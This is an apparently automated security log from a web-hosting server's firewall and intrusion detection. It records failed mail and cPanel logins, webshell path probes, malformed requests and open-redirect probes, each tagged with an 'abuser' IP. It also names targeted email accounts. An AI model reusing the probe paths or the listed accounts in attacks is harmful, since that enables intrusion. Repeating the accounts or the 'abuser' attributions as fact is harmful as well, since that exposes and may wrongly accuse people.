country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/default.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.136
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment-child/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.196.184.78
country_id: 6252001
description:
2026-01-30 20:38:10 dovecot_login authenticator failed for H=([74.196.184.78]) [74.196.184.78]:39512: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.141
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/slick.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/flaticon.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/style.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.71.84.38
country_id: 3469034
description:
2026-01-30 20:38:48 dovecot_login authenticator failed for H=([200.71.84.38]) [200.71.84.38]:35604: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.163.159.21
country_id: 2017370
description:
2026-01-30 20:38:12 dovecot_login authenticator failed for H=([46.163.159.21]) [46.163.159.21]:54966: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:38:13 dovecot_login authenticator failed for H=(1Xn0o31Rx) [178.16.54.138]:60032: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.135
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/type-writter.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/magnific-popup.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.218.221.232
country_id: 953987
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/about-us/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.156
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/owl.carousel.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.72.235.193
country_id: 2017370
description:
2026-01-30 20:38:59 dovecot_login authenticator failed for H=(4C5E0C0DE7C6.mldns.ru) [109.72.235.193]:60660: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-01-30 20:38:25 dovecot_login authenticator failed for H=([211.104.166.110]) [211.104.166.110]:37048: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.129
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/css/responsive.css?ver=6.6.4 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.144
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/fonts/Flaticon.woff HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.132
country_id: 1880251
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/tujusetia.my/wp-content/themes/batiment/assets/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:39:22 dovecot_login authenticator failed for H=(6GZ5jI5) [178.16.54.138]:56512: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.247
country_id: 1605651
description:
2026-01-30 20:39:57 dovecot_login authenticator failed for H=([203.170.150.247]) [203.170.150.247]:37984: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.152.138.178
country_id: 1814991
description:
2026-01-30 20:40:10 dovecot_login authenticator failed for H=([39.152.138.179]) [39.152.138.178]:39047: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:40:29 dovecot_login authenticator failed for H=(gnJ4gNexA) [178.16.54.138]:62495: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.59.26
country_id: 1269750
description:
2026-01-30 20:40:54 dovecot_login authenticator failed for H=([125.23.125.209]) [122.187.59.26]:56802: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.9.247.58
country_id: 3469034
description:
2026-01-30 20:40:56 dovecot_login authenticator failed for H=(200-153-121-1.customer.tdatabrasil.net.br) [187.9.247.58]:37433: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:40:22 dovecot_login authenticator failed for H=(sZYeigROB) [178.16.54.138]:53534: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-01-30 20:40:45 dovecot_login authenticator failed for H=(164-53-26-103.intechonline.net) [122.169.40.221]:42874: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:41:05 dovecot_login authenticator failed for H=(S8Otjwom) [178.16.54.138]:59151: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/photos/news.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.49.128.138
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=52 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.246.106
country_id: 1269750
description:
2026-01-30 20:41:02 dovecot_login authenticator failed for H=([125.16.255.97]) [125.20.246.106]:37170: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-01-30 20:42:20 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:60742: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 20:42:11 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:10358: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-01-30 20:42:42 dovecot_login authenticator failed for H=([210.206.24.238]) [210.206.24.234]:38165: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 20:42:29 dovecot_login authenticator failed for H=(pjBIJo2N3) [178.16.54.138]:60455: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.34
country_id: 1269750
description:
2026-01-30 20:42:34 dovecot_login authenticator failed for H=(nsg-corporate-78.223.187.122.airtel.in) [182.66.214.34]:42662: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-01-30 20:42:46 dovecot_login authenticator failed for H=(85-19-195-12.telia-isp.no) [85.19.195.12]:36504: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 20:42:56 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:10571: 535 Incorrect authentication data (set_id=zulkifli.abdul-mutalib)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.5.178.229
country_id: 3865483
description:
2026-01-30 20:44:36 dovecot_login authenticator failed for H=([186.5.178.229]) [186.5.178.229]:33544: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.239.78.124
country_id: 1819730
description:
2026-01-30 20:44:01 dovecot_login authenticator failed for H=(182.239.78.124.hk.chinamobile.com) [182.239.78.124]:36300: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.226.240
country_id: 1269750
description:
2026-01-30 20:47:33 dovecot_login authenticator failed for H=(nsg-corporate-240.226.187.122.airtel.in) [122.187.226.240]:43985: 535 Incorrect authentication data (set_id=notifications@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.4
country_id: 1835841
description:
2026-01-30 20:47:45 dovecot_login authenticator failed for H=([203.252.10.4]) [203.252.10.4]:48280: 535 Incorrect authentication data (set_id=notifications)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-01-30 20:48:24 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:51338: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-01-30 20:50:17 dovecot_login authenticator failed for H=(185-183-103-121.xdsl.5gdsl.com) [185.183.103.121]:33892: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.152
country_id: 732800
description:
2026-01-30 20:50:34 H=([94.156.152.152]) [94.156.152.152]:56111 F=<altawashtrading_15@yahoo.com> rejected RCPT <stevenng@fkr.com.my>: Mail to stevenng@fkr.com.my has been suspended


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.168.113.8
country_id: 3469034
description:
[2026-01-30 20:50:59 +0800] info [cpaneld] 45.168.113.8 - tujuseti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tujuseti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-30 20:52:33 +0800] info [cpaneld] 202.178.120.157 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.216.66
country_id: 1269750
description:
2026-01-30 20:52:57 dovecot_login authenticator failed for H=([182.66.234.193]) [125.19.216.66]:59970: 535 Incorrect authentication data (set_id=notifications@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.113.185.14
country_id: 3469034
description:
2026-01-30 20:53:10 dovecot_login authenticator failed for H=([189.113.185.14]) [189.113.185.14]:39997: 535 Incorrect authentication data (set_id=notifications)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.8
country_id: 1733045
description:
2026-01-30 20:53:57 dovecot_login authenticator failed for H=([49.124.153.8]) [49.124.153.8]:47054: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 20:54:29 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-01-30 20:55:00 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:43942: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 20:55:00 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:47456: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.98.177.66
country_id: 1814991
description:
2026-01-30 20:55:00 dovecot_login authenticator failed for H=([112.98.177.66]) [112.98.177.66]:41370: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.222.54
country_id: 1269750
description:
2026-01-30 20:54:07 dovecot_login authenticator failed for H=(nsg-corporate-54.222.187.122.airtel.in) [122.187.222.54]:59324: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 20:54:42 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:36192: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-01-30 20:54:43 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:57144: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-01-30 20:54:48 dovecot_login authenticator failed for H=([59.145.84.169]) [182.95.176.122]:32914: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 20:55:01 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:20714: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-01-30 20:55:30 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:55397: 535 Incorrect authentication data (set_id=hafizi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.91.176.243
country_id: 1269750
description:
2026-01-30 20:56:40 dovecot_login authenticator failed for H=([118.91.176.243]) [118.91.176.243]:47849: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.109.135
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=31521514876508 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.95.126
country_id: 1814991
description:
2026-01-30 20:56:33 dovecot_login authenticator failed for H=([111.26.95.126]) [111.26.95.126]:48464: 535 Incorrect authentication data (set_id=notifications@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-01-30 20:56:46 dovecot_login authenticator failed for H=([125.19.175.250]) [122.185.146.166]:55666: 535 Incorrect authentication data (set_id=notifications)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.56.40.171
country_id: 1269750
domain: oxbold.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:56823.oxbold.com||ServerName:oxbold.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b49b956e664f607f3b7a00bc67070816db69ef7a||Title:0x188360f1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.168.28
country_id: 2963597
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/ajresortscom/public_html/assets||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/portfolio/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/career.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 216.126.239.87
country_id: 6252001
domain: ajplantations.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x06_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.94 Safari/937.36||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.223.168.28
country_id: 2963597
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/ajresortscom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.189.59.238
country_id: 2017370
description:
2026-01-30 20:59:11 dovecot_login authenticator failed for H=(5.189.59.238-fttb.planeta.tc) [5.189.59.238]:57816: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-01-30 20:59:21 dovecot_login authenticator failed for H=([196.188.187.21]) [196.188.187.21]:37512: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.124.139.77
country_id: 3144096
description:
2026-01-30 20:59:14 dovecot_login authenticator failed for H=([188.124.139.77]) [188.124.139.77]:46857: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.43
country_id: 1668284
description:
2026-01-30 20:59:20 dovecot_login authenticator failed for H=110-25-107-43.adsl.fetnet.net [110.25.107.43]:56154: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/cdn-cgi/l/products.php||SC:/home/sutsbcom/public_html/images||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 185.117.225.14
country_id: 2264397
domain: www.snymetalstamping.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/123.0.6312.86 Safari/537.36||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.0.202
country_id: 2017370
description:
2026-01-30 21:01:40 dovecot_login authenticator failed for H=([83.239.0.202]) [83.239.0.202]:58196: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.216.220
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=599376 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.55.237.165
country_id: 1562822
description:
2026-01-30 21:01:26 dovecot_login authenticator failed for H=([1.55.237.165]) [1.55.237.165]:45004: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.148.190
country_id: 1733045
description:
2026-01-30 21:01:34 dovecot_login authenticator failed for H=([183.171.148.190]) [183.171.148.190]:54124: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.100.48
country_id: 1814991
description:
2026-01-30 21:01:58 dovecot_login authenticator failed for H=([36.135.100.47]) [36.135.100.48]:36774: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.186.71.254
country_id: 174982
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=15211514884198 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:02:58 1043936 [Warning] Aborted connection 1043936 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.186
country_id: 2750405
description:
2026-01-30 21:03:47 1043955 [Warning] Aborted connection 1043955 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.186' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.98
country_id: 6252001
description:
2026-01-30 21:03:50 dovecot_login authenticator failed for H=syn-035-130-111-098.biz.spectrum.com [35.130.111.98]:37842: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.41.39
country_id: 732800
description:
2026-01-30 21:03:34 dovecot_plain authenticator failed for H=([91.92.41.39]) [91.92.41.39]:56069: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.250.227.8
country_id: 149590
description:
2026-01-30 21:03:54 dovecot_plain authenticator failed for H=(6LCBR6) [197.250.227.8]:9641: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-30 21:03:59 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:50510: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 105.157.137.165
country_id: 2542007
description:
2026-01-30 21:03:37 dovecot_plain authenticator failed for H=([192.168.1.41]) [105.157.137.165]:53627: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.56.134
country_id: 6252001
description:
2026-01-30 21:04:57 dovecot_login authenticator failed for H=(ADMIN) [173.244.56.134]:37989: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.250.227.8
country_id: 149590
description:
2026-01-30 21:04:01 dovecot_login authenticator failed for H=(6LCBR6) [197.250.227.8]:9641: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 21:04:20 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.92.41.39
country_id: 732800
description:
2026-01-30 21:04:04 dovecot_plain authenticator failed for H=([91.92.41.39]) [91.92.41.39]:57438: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.56.134
country_id: 6252001
description:
2026-01-30 21:05:03 dovecot_login authenticator failed for H=(ADMIN) [173.244.56.134]:37644: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/video.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.3.70
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 117.43.184.21
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.85.175.127
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 106.228.6.118
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 220.175.85.168
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 115.153.10.230
country_id: 1814991
domain: pftfood.com
description:


plugin: modsec
rule: 77556976
name: IM360 WAF: Malformed URI Open Redirect Probe Detected
abuser: 182.96.164.18
country_id: 1814991
domain: pftfood.com
description:


